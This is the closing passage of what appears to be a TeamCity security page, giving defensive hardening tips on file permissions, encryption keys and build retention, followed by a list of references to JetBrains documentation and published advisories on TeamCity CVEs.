- Keep server logs and TeamCity Data Directory readable only by the TeamCity server OS account and admins.
- Use a custom encryption key for secure values instead of relying on the default scrambling mechanism.
- Retain build history/logs for investigation and restrict permissions to delete builds.
## References
- [JetBrains - TeamCity Build Agents](https://www.jetbrains.com/help/teamcity/build-agent.html)
- [JetBrains - TeamCity REST API](https://www.jetbrains.com/help/teamcity/rest/teamcity-rest-api-documentation.html)
- [JetBrains - Manage Build Configuration Details via REST](https://www.jetbrains.com/help/teamcity/rest/manage-build-configuration-details.html)
- [JetBrains - Build Parameters](https://www.jetbrains.com/help/teamcity/configuring-build-parameters.html)
- [JetBrains - Typed / Password Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html)
- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html)
- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html)
- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html)
- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html)
- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html)
- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html)
- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/)
- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
{{#include ../../banners/hacktricks-training.md}}